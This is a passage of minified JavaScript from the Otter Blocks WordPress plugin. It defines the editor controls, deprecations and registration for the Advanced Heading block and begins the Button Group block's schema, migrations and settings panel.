efault:0},marginTop:{type:"number",default:0},marginTopTablet:{type:"number",default:0},marginTopMobile:{type:"number",default:0},marginBottom:{type:"number",default:25},marginBottomTablet:{type:"number",default:25},marginBottomMobile:{type:"number",default:20}},save:({attributes:e,className:t})=>{let l;e.textShadow&&(l={textShadow:`${e.textShadowHorizontal}px ${e.textShadowVertical}px ${e.textShadowBlur}px ${O()(e.textShadowColor?e.textShadowColor:"#000000",e.textShadowColorOpacity)}`});const o={color:e.headingColor,fontFamily:e.fontFamily,fontWeight:"regular"===e.fontVariant?"normal":e.fontVariant,fontStyle:e.fontStyle,textTransform:e.textTransform,lineHeight:e.lineHeight&&`${e.lineHeight}px`,letterSpacing:e.letterSpacing&&`${e.letterSpacing}px`,...l};return(0,i.createElement)(u.RichText.Content,{tagName:e.tag,value:e.content,id:e.id,className:c()(e.id,t),style:o})}}];var H=I,N={from:[{type:"block",blocks:["core/heading"],transform:({content:e})=>(0,a.createBlock)("themeisle-blocks/advanced-heading",{content:e})},{type:"block",blocks:["core/paragraph"],transform:({content:e})=>(0,a.createBlock)("themeisle-blocks/advanced-heading",{content:e})}],to:[{type:"block",blocks:["core/paragraph"],transform:({content:e})=>(0,a.createBlock)("core/paragraph",{content:e})}]},A=l(2819),V=({attributes:e,setAttributes:t})=>{var l;const{responsiveSetAttributes:a,responsiveGetAttributes:n}=(0,k.Y)(t),r=e=>{t(e?{fontFamily:e,fontVariant:"normal",fontStyle:"normal"}:{fontFamily:e,fontVariant:e})},s=e=>(0,i.createElement)("span",{className:"o-list-elem-controls"},e),c=e=>{t({tag:e})};return(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(p.DropdownMenu,{icon:s(e.tag),label:(0,o.__)("Select tag","otter-blocks"),className:"components-toolbar",controls:[{title:(0,o.__)("Heading","otter-blocks")+" 1",icon:s("h1"),onClick:()=>c("h1")},{title:(0,o.__)("Heading","otter-blocks")+" 2",icon:s("h2"),onClick:()=>c("h2")},{title:(0,o.__)("Heading","otter-blocks")+" 3",icon:s("h3"),onClick:()=>c("h3")},{title:(0,o.__)("Heading","otter-blocks")+" 4",icon:s("h4"),onClick:()=>c("h4")},{title:(0,o.__)("Heading","otter-blocks")+" 5",icon:s("h5"),onClick:()=>c("h5")},{title:(0,o.__)("Heading","otter-blocks")+" 6",icon:s("h6"),onClick:()=>c("h6")},{title:(0,o.__)("Division","otter-blocks"),icon:s("div"),onClick:()=>c("div")},{title:(0,o.__)("Paragraph","otter-blocks"),icon:s("p"),onClick:()=>c("p")},{title:(0,o.__)("Span Tag","otter-blocks"),icon:s("span"),onClick:()=>c("span")}]}),(0,i.createElement)(p.ToolbarGroup,null,(0,i.createElement)(p.Dropdown,{contentClassName:"wp-themeisle-blocks-advanced-heading-popover-content",position:"bottom center",renderToggle:({isOpen:e,onToggle:t})=>(0,i.createElement)(p.Button,{className:"components-dropdown-menu__toggle",icon:"editor-textcolor",onClick:t,"aria-haspopup":"true","aria-expanded":e,label:(0,o.__)("Typography Settings","otter-blocks"),showTooltip:!0},(0,i.createElement)("span",{className:"components-dropdown-menu__indicator"})),renderContent:()=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(g.o2,{label:(0,o.__)("Font Family","otter-blocks"),value:e.fontFamily,onChangeFontFamily:r,valueVariant:e.fontVariant,onChangeFontVariant:e=>t({fontVariant:e}),valueStyle:e.fontStyle,onChangeFontStyle:e=>t({fontStyle:e}),valueTransform:e.textTransform,onChangeTextTransform:e=>t({textTransform:e})}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Line Height","otter-blocks"),value:e.lineHeight,onChange:e=>t({lineHeight:e}),step:.1,min:0,max:3}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Letter Spacing","otter-blocks"),value:e.letterSpacing,onChange:e=>t({letterSpacing:e}),step:.1,min:-50,max:100}))})),(0,i.createElement)(p.ToolbarGroup,null,(0,i.createElement)(u.AlignmentToolbar,{value:null!==(l=n([e.align,e.alignTablet,e.alignMobile]))&&void 0!==l?l:"left",onChange:e=>{a(e,["align","alignTablet","alignMobile"])}})))},D=l(1150),G=l(8065),j=l(199),W=l(5912),$=l(1967);const U={fontFamily:"fontFamily",fontSize:"fontSize",lineHeight:"lineHeight",letterCase:"textTransform",spacing:"letterSpacing",appearance:"fontStyle",variant:"fontVariant"};var Z=({attributes:e,setAttributes:t})=>{var l,a,n,r,s,c,d,m,f,v,_,C,w,E,x,S,T,B,M,P,z;const[F,R]=(0,y.useTabSwitch)(e.id,"settings"),{responsiveSetAttributes:L,responsiveGetAttributes:O}=(0,k.Y)(t),I="unlinked"===e.paddingType?{top:null!==(l=(0,h.Yj)(e.paddingTop))&&void 0!==l?l:"0px",bottom:null!==(a=(0,h.Yj)(e.paddingBottom))&&void 0!==a?a:"0px",right:null!==(n=(0,h.Yj)(e.paddingRight))&&void 0!==n?n:"0px",left:null!==(r=(0,h.Yj)(e.paddingLeft))&&void 0!==r?r:"0px"}:isFinite(e.padding)?(0,W.rO)((0,h.Yj)(e.padding)):{top:"0px",bottom:"0px",right:"0px",left:"0px"},H="unlinked"===e.paddingTypeTablet?{top:null!==(s=(0,h.Yj)(e.paddingTopTablet))&&void 0!==s?s:"0px",bottom:null!==(c=(0,h.Yj)(e.paddingBottomTablet))&&void 0!==c?c:"0px",right:null!==(d=(0,h.Yj)(e.paddingRightTablet))&&void 0!==d?d:"0px",left:null!==(m=(0,h.Yj)(e.paddingLeftTablet))&&void 0!==m?m:"0px"}:isFinite(e.paddingTablet)?(0,W.rO)((0,h.Yj)(e.paddingTablet)):void 0,N="unlinked"===e.paddingTypeMobile?{top:null!==(f=(0,h.Yj)(e.paddingTopMobile))&&void 0!==f?f:"0px",bottom:null!==(v=(0,h.Yj)(e.paddingBottomMobile))&&void 0!==v?v:"0px",right:null!==(_=(0,h.Yj)(e.paddingRightMobile))&&void 0!==_?_:"0px",left:null!==(C=(0,h.Yj)(e.paddingLeftMobile))&&void 0!==C?C:"0px"}:isFinite(e.paddingMobile)?(0,W.rO)((0,h.Yj)(e.paddingMobile)):void 0,V=void 0===e.marginType?{top:null!==(w=(0,h.Yj)(e.marginTop))&&void 0!==w?w:"0px",bottom:null!==(E=(0,h.Yj)(e.marginBottom))&&void 0!==E?E:"25px"}:isFinite(e.margin)?(0,W.rO)((0,h.Yj)(e.margin)):void 0,Z=void 0===e.marginTypeTablet?{top:null!==(x=(0,h.Yj)(e.marginTopTablet))&&void 0!==x?x:"0px",bottom:null!==(S=(0,h.Yj)(e.marginBottomTablet))&&void 0!==S?S:"0px"}:isFinite(e.marginTablet)?(0,W.rO)((0,h.Yj)(e.marginTablet)):void 0,q=void 0===e.marginTypeMobile?{top:null!==(T=(0,h.Yj)(e.marginTopMobile))&&void 0!==T?T:"0px",bottom:null!==(B=(0,h.Yj)(e.marginBottomMobile))&&void 0!==B?B:"0px"}:isFinite(e.marginMobile)?(0,W.rO)((0,h.Yj)(e.marginMobile)):void 0;return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:F,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:R}),(0,i.createElement)("div",null,"settings"===F&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Sizing","otter-blocks")},(0,i.createElement)(g.n9,{label:(0,o.__)("Alignment","otter-blocks")},(0,i.createElement)(g.Ik,{value:null!==(M=O([e.align,e.alignTablet,e.alignMobile]))&&void 0!==M?M:"left",onChange:e=>L(e,["align","alignTablet","alignMobile"]),options:[{icon:D.Z,label:(0,o.__)("Left","otter-blocks"),value:"left"},{icon:G.Z,label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:j.Z,label:(0,o.__)("Right","otter-blocks"),value:"right"}],hasIcon:!0})),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("HTML Tag","otter-blocks"),value:e.tag,onChange:e=>t({tag:e}),options:[{label:(0,o.__)("H1","otter-blocks"),value:"h1"},{label:(0,o.__)("H2","otter-blocks"),value:"h2"},{label:(0,o.__)("H3","otter-blocks"),value:"h3"},{label:(0,o.__)("H4","otter-blocks"),value:"h4"},{label:(0,o.__)("H5","otter-blocks"),value:"h5"},{label:(0,o.__)("H6","otter-blocks"),value:"h6"},{label:(0,o.__)("div","otter-blocks"),value:"div"},{label:(0,o.__)("span","otter-blocks"),value:"span"},{label:(0,o.__)("p","otter-blocks"),value:"p"}]})),(0,i.createElement)(g.p,null)),"style"===F&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography","otter-blocks"),initialOpen:!0},(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")}),(0,i.createElement)($.Z,{enableComponents:{fontFamily:!0,appearance:!0,lineHeight:!0,letterCase:!0,spacing:!0,variant:!0},componentsValue:{fontSize:(0,h.Yj)(O([e.fontSize,e.fontSizeTablet,e.fontSizeMobile])),fontFamily:e.fontFamily,lineHeight:e.lineHeight,appearance:e.fontStyle,letterCase:e.textTransform,spacing:e.letterSpacing,variant:e.fontVariant},onChange:e=>{var l;t({fontFamily:e.fontFamily,lineHeight:e.lineHeight,fontStyle:e.appearance,textTransform:e.letterCase,letterSpacing:e.spacing,[null!==(l=O(["fontSize","fontSizeTablet","fontSizeMobile"]))&&void 0!==l?l:"fontSize"]:e.fontSize,fontVariant:e.variant})},onReset:e=>{t("fontSize"===e?{[O(["fontSize","fontSizeTablet","fontSizeMobile"])]:void 0}:{[U[e]]:void 0})},allowVariants:!0})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.headingColor,onChange:e=>t({headingColor:e}),label:(0,o.__)("Text","otter-blocks"),isShownByDefault:!0},{value:e.backgroundColor,onChange:e=>t({backgroundColor:e}),label:(0,o.__)("Background","otter-blocks"),isShownByDefault:!0},{value:e.linkColor,onChange:e=>t({linkColor:e}),label:(0,o.__)("Link","otter-blocks"),isShownByDefault:!1},{value:e.linkHoverColor,onChange:e=>t({linkHoverColor:e}),label:(0,o.__)("Link Hover","otter-blocks"),isShownByDefault:!1},{value:e.highlightColor,onChange:e=>t({highlightColor:e}),label:(0,o.__)("Highlight Text","otter-blocks"),isShownByDefault:!1},{value:e.highlightBackground,onChange:e=>t({highlightBackground:e}),label:(0,o.__)("Highlight Background","otter-blocks"),isShownByDefault:!1}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:null!==(P=(0,h.yg)(O([(0,A.isObjectLike)(e.padding)?e.padding:I,(0,A.isObjectLike)(e.paddingTablet)?e.paddingTablet:H,(0,A.isObjectLike)(e.paddingMobile)?e.paddingMobile:N])))&&void 0!==P?P:(0,W.rO)("0px"),onChange:e=>{L(e,["padding","paddingTablet","paddingMobile"])}}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Margin","otter-blocks"),values:null!==(z=(0,h.yg)(O([(0,A.isObjectLike)(e.margin)?e.margin:V,(0,A.isObjectLike)(e.marginTablet)?e.marginTablet:Z,(0,A.isObjectLike)(e.marginMobile)?e.marginMobile:q])))&&void 0!==z?z:{top:"0px",bottom:"25px"},onChange:e=>{L(e,["margin","marginTablet","marginMobile"])},sides:["top","bottom"]}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Shadow","otter-blocks"),initialOpen:!1,className:"o-adv-h-panel"},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Enable Text Shadow","otter-blocks"),checked:e.textShadow,onChange:e=>t({textShadow:e})}),e.textShadow&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.__experimentalColorGradientControl,{label:(0,o.__)("Color","otter-blocks"),colorValue:e.textShadowColor,onColorChange:e=>t({textShadowColor:e})}),(0,i.createElement)(g.Fi,{label:(0,o.__)("Shadow Properties","otter-blocks")},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Opacity","otter-blocks"),value:e.textShadowColorOpacity,onChange:e=>t({textShadowColorOpacity:e}),min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Blur","otter-blocks"),value:e.textShadowBlur,onChange:e=>t({textShadowBlur:e}),min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Horizontal","otter-blocks"),value:e.textShadowHorizontal,onChange:e=>t({textShadowHorizontal:e}),min:-100,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Vertical","otter-blocks"),value:e.textShadowVertical,onChange:e=>t({textShadowVertical:e}),min:-100,max:100}))))))),(0,i.createElement)(g.pO,{value:e.id,onChange:e=>t({id:e})}))};const{attributes:q}=P;const{name:Y}=P;(0,a.registerBlockType)(Y,{...P,title:(0,o.__)("Advanced Heading","otter-blocks"),description:(0,o.__)("Advanced Heading gives a spin to editor's Heading block with much needed customization options. Powered by Otter.","otter-blocks"),icon:r.headingIcon,keywords:["heading","title","advanced heading"],deprecated:H,transforms:N,edit:({attributes:e,setAttributes:t,clientId:l,mergeBlocks:n,onReplace:r})=>{var s,c,m,p,g,f,v,_,C,w,E,x,S,T,B,M,P,z;(0,b.useEffect)((()=>{d.Z.attach();const t=(0,y.blockInit)(l,q);return()=>t(e.id)}),[e.id]),(0,k.W)(e.backgroundColor,e,t);const{responsiveGetAttributes:F}=(0,k.Y)(t),R="unlinked"===e.paddingType?{top:null!==(s=(0,h.Yj)(e.paddingTop))&&void 0!==s?s:"0px",bottom:null!==(c=(0,h.Yj)(e.paddingBottom))&&void 0!==c?c:"0px",right:null!==(m=(0,h.Yj)(e.paddingRight))&&void 0!==m?m:"0px",left:null!==(p=(0,h.Yj)(e.paddingLeft))&&void 0!==p?p:"0px"}:isFinite(e.padding)?(0,W.rO)((0,h.Yj)(e.padding)):(0,W.rO)("0px"),L="unlinked"===e.paddingTypeTablet?{top:null!==(g=(0,h.Yj)(e.paddingTopTablet))&&void 0!==g?g:"0px",bottom:null!==(f=(0,h.Yj)(e.paddingBottomTablet))&&void 0!==f?f:"0px",right:null!==(v=(0,h.Yj)(e.paddingRightTablet))&&void 0!==v?v:"0px",left:null!==(_=(0,h.Yj)(e.paddingLeftTablet))&&void 0!==_?_:"0px"}:isFinite(e.paddingTablet)?(0,W.rO)((0,h.Yj)(e.paddingTablet)):void 0,I="unlinked"===e.paddingTypeMobile?{top:null!==(C=(0,h.Yj)(e.paddingTopMobile))&&void 0!==C?C:"0px",bottom:null!==(w=(0,h.Yj)(e.paddingBottomMobile))&&void 0!==w?w:"0px",right:null!==(E=(0,h.Yj)(e.paddingRightMobile))&&void 0!==E?E:"0px",left:null!==(x=(0,h.Yj)(e.paddingLeftMobile))&&void 0!==x?x:"0px"}:isFinite(e.paddingMobile)?(0,W.rO)((0,h.Yj)(e.paddingMobile)):void 0,H=void 0===e.marginType?{top:null!==(S=(0,h.Yj)(e.marginTop))&&void 0!==S?S:"0px",bottom:null!==(T=(0,h.Yj)(e.marginBottom))&&void 0!==T?T:"25px"}:isFinite(e.margin)?(0,W.rO)((0,h.Yj)(e.margin)):void 0,N=void 0===e.marginTypeTablet?{top:null!==(B=(0,h.Yj)(e.marginTopTablet))&&void 0!==B?B:"0px",bottom:null!==(M=(0,h.Yj)(e.marginBottomTablet))&&void 0!==M?M:"0px"}:isFinite(e.marginTablet)?(0,W.rO)((0,h.Yj)(e.marginTablet)):void 0,D=void 0===e.marginTypeMobile?{top:null!==(P=(0,h.Yj)(e.marginTopMobile))&&void 0!==P?P:"0px",bottom:null!==(z=(0,h.Yj)(e.marginBottomMobile))&&void 0!==z?z:"0px"}:isFinite(e.marginMobile)?(0,W.rO)((0,h.Yj)(e.marginMobile)):void 0,G=e=>(0,A.isObjectLike)(e)?(0,h.bv)(e):void 0,j={"--padding":(0,A.isObjectLike)(F([e.padding,e.paddingTablet,e.paddingMobile]))?(0,h.bv)(F([e.padding,e.paddingTablet,e.paddingMobile])):G(R),"--padding-tablet":(0,A.isObjectLike)(e.paddingTablet)?(0,h.bv)(e.paddingTablet):G(L),"--padding-mobile":(0,A.isObjectLike)(e.paddingMobile)?(0,h.bv)(e.paddingMobile):G(I),"--margin":(0,A.isObjectLike)(F([e.margin,e.marginTablet,e.marginMobile]))?(0,h.bv)(F([e.margin,e.marginTablet,e.marginMobile])):G(H),"--margin-tablet":(0,A.isObjectLike)(e.marginTablet)?(0,h.bv)(e.marginTablet):G(N),"--margin-mobile":(0,A.isObjectLike)(e.marginMobile)?(0,h.bv)(e.marginMobile):G(D),"--text-align":F([e.align,e.alignTablet,e.alignMobile]),"--text-align-tablet":e.alignTablet,"--text-align-mobile":e.alignMobile};let $;e.textShadow&&($={textShadow:`${e.textShadowHorizontal}px ${e.textShadowVertical}px ${e.textShadowBlur}px ${O()(e.textShadowColor?e.textShadowColor:"#000000",0<=e.textShadowColorOpacity?e.textShadowColorOpacity||1e-5:1)}`});const U=(0,A.omitBy)({fontSize:F([e.fontSize,e.fontSizeTablet,e.fontSizeMobile]),color:e.headingColor,fontFamily:e.fontFamily||void 0,fontWeight:"regular"===e.fontVariant?"normal":e.fontVariant,fontStyle:e.fontStyle||void 0,textTransform:e.textTransform||void 0,lineHeight:(!(0,A.isString)(e.lineHeight)&&3<e.lineHeight?e.lineHeight+"px":e.lineHeight)||void 0,letterSpacing:(0,h.Yj)(e.letterSpacing),background:e.backgroundColor,...$,...j},(e=>e?.includes?.("undefined"))),Y=(0,u.useBlockProps)({id:e.id,style:U});return(0,b.useEffect)((()=>{e.fontFamily&&d.Z.loadFontToBrowser(e.fontFamily,e.fontVariant)}),[e.fontFamily]),(0,i.createElement)(b.Fragment,null,(0,i.createElement)("style",null,`#block-${l} mark, #block-${l} .highlight `+(0,h.iC)([["color",e.highlightColor],["background",e.highlightBackground]]),`#block-${l} a`+(0,h.iC)([["color",e.linkColor]]),`#block-${l} a:hover`+(0,h.iC)([["color",e.linkHoverColor]])),(0,i.createElement)(V,{attributes:e,setAttributes:t}),(0,i.createElement)(Z,{attributes:e,setAttributes:t}),(0,i.createElement)(u.RichText,{identifier:"content",value:e.content,placeholder:(0,o.__)("Write heading…","otter-blocks"),tagName:e.tag,allowedFormats:["core/bold","core/italic","core/link","core/strikethrough","themeisle-blocks/highlight","themeisle-blocks/count-animation","themeisle-blocks/typing-animation","themeisle-blocks/dynamic-value","themeisle-blocks/dynamic-link"],onMerge:n,onSplit:(t,o)=>{let n;var r;return n=o||t?(0,a.createBlock)("themeisle-blocks/advanced-heading",{...e,content:t}):(0,a.createBlock)(null!==(r=(0,a.getDefaultBlockName)())&&void 0!==r?r:"themeisle-blocks/advanced-heading"),o&&(n.clientId=l),n},onReplace:r,onRemove:()=>r([]),onChange:e=>{t({content:e})},...Y}))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,className:e.id});return(0,i.createElement)(u.RichText.Content,{tagName:e.tag,value:e.content,...t})},example:{attributes:{content:(0,o.__)("A heading with more customization options","otter-blocks")}}});var K=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/button-group","title":"Button Group","category":"themeisle-blocks","description":"Prompt visitors to take action with a button group. Powered by Otter.","keywords":["button","buttons","button group"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"align":{"type":["string","object"]},"spacing":{"type":["number","string"],"default":"20px"},"paddingTopBottom":{"type":["number","string"]},"paddingLeftRight":{"type":["number","string"]},"padding":{"type":"object"},"paddingTablet":{"type":"object"},"paddingMobile":{"type":"object"},"collapse":{"type":"string","default":"collapse-none"},"fontSize":{"type":["number","string"]},"fontFamily":{"type":"string"},"fontVariant":{"type":"string"},"textTransform":{"type":"string"},"fontStyle":{"type":"string"},"lineHeight":{"type":["number","string"]},"isSynced":{"type":"array"}},"editorStyle":"otter-button-group-editor","style":"otter-button-group-style"}');const J={id:{type:"string"},buttons:{type:"number",default:2},align:{type:"string"},spacing:{type:"number",default:20},collapse:{type:"string",default:"collapse-none"},fontSize:{type:"number",default:18},fontFamily:{type:"string"},fontVariant:{type:"string"},textTransform:{type:"string"},fontStyle:{type:"string",default:"normal"},lineHeight:{type:"number"},data:{type:"array",default:[{text:"",link:"",newTab:!1,color:"#ffffff",background:"#32373c",border:"",hoverColor:"",hoverBackground:"",hoverBorder:"",borderSize:0,borderRadius:0,boxShadow:!1,boxShadowColor:"",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColor:"",hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0,iconType:"none",prefix:"",icon:"",paddingTopBottom:12,paddingLeftRight:24},{text:"",link:"",newTab:!1,color:"#ffffff",background:"#32373c",border:"",hoverColor:"",hoverBackground:"",hoverBorder:"",borderSize:0,borderRadius:0,boxShadow:!1,boxShadowColor:"",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColor:"",hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0,iconType:"none",prefix:"",icon:"",paddingTopBottom:12,paddingLeftRight:24}]}},X=[{attributes:J,save:({attributes:e,className:t})=>{const l="collapse-none"!==e.collapse?e.collapse:"",o={fontSize:`${e.fontSize}px`,fontFamily:e.fontFamily,fontWeight:e.fontVariant,fontStyle:e.fontStyle,textTransform:e.textTransform,lineHeight:e.lineHeight&&`${e.lineHeight}px`};return(0,i.createElement)("div",{id:e.id,className:c()(t,l),style:{justifyContent:e.align,alignItems:e.align?e.align:"flex-start"}},(0,A.times)(e.buttons,(t=>(t=>{const l={...o,borderWidth:`${e.data[t].borderSize}px`,borderRadius:`${e.data[t].borderRadius}px`,padding:`${e.data[t].paddingTopBottom}px ${e.data[t].paddingLeftRight}px`};return(0,i.createElement)(b.Fragment,null,(0,i.createElement)("a",{href:e.data[t].link,target:e.data[t].newTab?"_blank":"_self",className:c()("wp-block-themeisle-blocks-button",`wp-block-themeisle-blocks-button-${t}`),style:l},("left"===e.data[t].iconType||"only"===e.data[t].iconType)&&(0,i.createElement)("i",{className:c()(e.data[t].prefix,"fa-fw",`fa-${e.data[t].icon}`,{"margin-right":"left"===e.data[t].iconType})}),"only"!==e.data[t].iconType&&(0,i.createElement)(u.RichText.Content,{tagName:"span",value:e.data[t].text}),"right"===e.data[t].iconType&&(0,i.createElement)("i",{className:`${e.data[t].prefix} fa-fw fa-${e.data[t].icon} margin-left`})))})(t))))}},{attributes:J,save:({attributes:e,className:t})=>{const l="collapse-none"!==e.collapse?e.collapse:"",o={fontSize:`${e.fontSize}px`,fontFamily:e.fontFamily,fontWeight:e.fontVariant,fontStyle:e.fontStyle,textTransform:e.textTransform,lineHeight:e.lineHeight&&`${e.lineHeight}px`};return(0,i.createElement)("div",{id:e.id,className:c()(t,l),style:{justifyContent:e.align,alignItems:e.align?e.align:"flex-start"}},(0,A.times)(e.buttons,(t=>(t=>{const l={...o,borderWidth:`${e.data[t].borderSize}px`,borderRadius:`${e.data[t].borderRadius}px`,padding:`${e.data[t].paddingTopBottom}px ${e.data[t].paddingLeftRight}px`};return(0,i.createElement)(b.Fragment,null,(0,i.createElement)("a",{href:e.data[t].link,target:e.data[t].newTab?"_blank":"_self",className:c()("wp-block-themeisle-blocks-button",`wp-block-themeisle-blocks-button-${t}`),style:l,rel:"noopener noreferrer"},("left"===e.data[t].iconType||"only"===e.data[t].iconType)&&(0,i.createElement)("i",{className:c()(e.data[t].prefix,"fa-fw",`fa-${e.data[t].icon}`,{"margin-right":"left"===e.data[t].iconType})}),"only"!==e.data[t].iconType&&(0,i.createElement)(u.RichText.Content,{tagName:"span",value:e.data[t].text}),"right"===e.data[t].iconType&&(0,i.createElement)("i",{className:`${e.data[t].prefix} fa-fw fa-${e.data[t].icon} margin-left`})))})(t))))}},{attributes:{...J,fontSize:{type:"number"},fontStyle:{type:"string"},data:{type:"array",default:[{text:"",link:"",newTab:!1,color:"",background:"",border:"",hoverColor:"",hoverBackground:"",hoverBorder:"",borderSize:"",borderRadius:"",boxShadow:!1,boxShadowColor:"",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColor:"",hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0,iconType:"none",prefix:"",icon:"",paddingTopBottom:"",paddingLeftRight:""},{text:"",link:"",newTab:!1,color:"",background:"",border:"",hoverColor:"",hoverBackground:"",hoverBorder:"",borderSize:"",borderRadius:"",boxShadow:!1,boxShadowColor:"",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColor:"",hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0,iconType:"none",prefix:"",icon:"",paddingTopBottom:"",paddingLeftRight:""}]}},migrate:(e,t)=>{let l,o,n;return"flex-start"===e.align&&(l="left"),"center"===e.align&&(l="center"),"flex-end"===e.align&&(l="right"),e.data&&(o=(0,A.pick)(e.data[0],["paddingLeftRight","paddingTopBottom"]),1<=Object.keys(o).length&&(o=(0,A.pick)(o,Object.keys(o).filter((e=>""!==o[e])))),n=e.data.filter(((t,l)=>l<e.buttons)).map((e=>{const t=(0,A.omit)(e,["paddingLeftRight","paddingTopBottom"]);return(0,a.createBlock)("themeisle-blocks/button",{...t})}))),[{...(0,A.omit)(e,["buttons","data"]),align:l,...o},[...n,...t]]},save:({attributes:e,className:t})=>{const l="collapse-none"!==e.collapse?e.collapse:"";return(0,i.createElement)("div",{id:e.id,className:c()(t,l,"wp-block-button")},(0,A.times)(e.buttons,(t=>(t=>(0,i.createElement)("a",{href:e.data[t].link,target:e.data[t].newTab?"_blank":"_self",className:c()("wp-block-themeisle-blocks-button",`wp-block-themeisle-blocks-button-${t}`,"wp-block-button__link"),rel:"noopener noreferrer"},("left"===e.data[t].iconType||"only"===e.data[t].iconType)&&(0,i.createElement)("i",{className:c()(e.data[t].prefix,"fa-fw",`fa-${e.data[t].icon}`,{"margin-right":"left"===e.data[t].iconType})}),"only"!==e.data[t].iconType&&(0,i.createElement)(u.RichText.Content,{tagName:"span",value:e.data[t].text}),"right"===e.data[t].iconType&&(0,i.createElement)("i",{className:`${e.data[t].prefix} fa-fw fa-${e.data[t].icon} margin-left`})))(t))))}}];var Q=X,ee=l(7704),te=l(9522),le=l(6993),oe=l(8286),ae=function(e){return(0,i.createElement)(p.Disabled,{isDisabled:Boolean(e?.attributes?.isSynced?.includes(e?.attr)),className:"o-disabled"},e?.children)},ne=({attributes:e,setAttributes:t})=>{var l,a;const n={XS:{padding:{top:"5px",bottom:"5px",right:"14px",left:"14px"},fontSize:"14px"},S:{padding:{top:"10px",bottom:"10px",right:"20px",left:"20px"},fontSize:"15px"},M:{padding:{top:"15px",bottom:"15px",right:"30px",left:"30px"},fontSize:"16px"},L:{padding:{top:"20px",bottom:"20px",right:"40px",left:"40px"},fontSize:"18px"},XL:{padding:{top:"25px",bottom:"25px",right:"50px",left:"50px"},fontSize:"20px"}},r=(e,t,l)=>t===n[l].fontSize&&e?.top===n[l]?.padding?.top&&e?.bottom===n[l]?.padding?.bottom&&e?.left===n[l]?.padding?.left&&e?.right===n[l]?.padding?.right,s=(e,t)=>({top:e,bottom:e,right:t,left:t}),[c,d]=(0,y.useTabSwitch)(e.id,"settings"),[m,f]=(0,b.useState)({padding:s(e.paddingTopBottom,e.paddingLeftRight),paddingTablet:e.paddingTablet,paddingMobile:e.paddingMobile,isSynced:(0,A.uniq)(e?.isSynced?.map((e=>"paddingTopBottom"===e||"paddingLeftRight"===e?"padding":e)))}),[v,_]=(0,b.useState)(!1),C=t=>f({padding:s(e.paddingTopBottom,e.paddingLeftRight),paddingTablet:e.paddingTablet,paddingMobile:e.paddingMobile,isSynced:e.isSynced,...t}),{responsiveSetAttributes:w,responsiveGetAttributes:E}=(0,k.Y)(t),{responsiveSetAttributes:x,responsiveGetAttributes:S}=(0,k.Y)(C);return(0,b.useEffect)((()=>{v&&(t({paddingTopBottom:m?.padding?.top,paddingLeftRight:m?.padding?.right,paddingTablet:m?.paddingTablet,paddingMobile:m?.paddingMobile,align:m?.align,isSynced:(0,A.uniq)(m?.isSynced?.map((e=>"padding"===e?["paddingTopBottom","paddingLeftRight"]:e)).flat())}),_(!1))}),[m.padding,m.paddingTablet,m.paddingMobile,v]),(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)("div",null,(0,i.createElement)(g.Hn,{value:c,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:d}),"settings"===c&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Layout","otter-blocks"),initialOpen:!0},(0,i.createElement)(le.Z,{label:(0,o.__)("Alignment","otter-blocks"),className:"buttons-alignment-control"},(0,i.createElement)(oe.Z,{value:null!==(l=E([e.align?.desktop,e.align?.tablet,e.align?.mobile]))&&void 